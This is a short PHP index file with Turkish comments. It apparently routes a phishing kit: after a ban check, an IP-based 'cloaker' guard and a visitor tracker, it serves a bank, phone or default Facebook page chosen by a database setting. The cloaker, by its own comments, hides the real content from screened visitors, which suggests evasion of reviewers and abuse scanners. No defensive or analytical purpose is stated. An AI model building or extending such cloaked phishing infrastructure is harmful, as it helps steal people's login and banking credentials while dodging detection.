<?php
// 0. Ban Kontrolü (Yasaklılar giremesin diye bunu en başa ekledik)
include_once 'check_ban.php';

// 1. Önce IP'yi kontrol et (Cloaker)
require_once 'cloaker_guard.php';

// 2. IP kontrolü geçildiyse, normal site işlemlerine devam et.
require_once 'admin/db_config.php';
require_once 'tracker.php'; 

// 3. Orijinal index.php mantığını çalıştır
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) { 
    die("Siteye erişilemiyor.");
}

$stmt_settings = $conn->query("SELECT setting_value FROM site_settings WHERE setting_key = 'active_page'");
$result = $stmt_settings->fetch(PDO::FETCH_ASSOC);
$active_page = $result ? $result['setting_value'] : 'facebook';

if ($active_page === 'banks') {
    include 'banks_page.php';
} elseif ($active_page === 'phone') { 
    // YENİ EKLENEN KISIM
    include 'phone_page.php';
} else {
    include 'facebook_page.php';
}
?>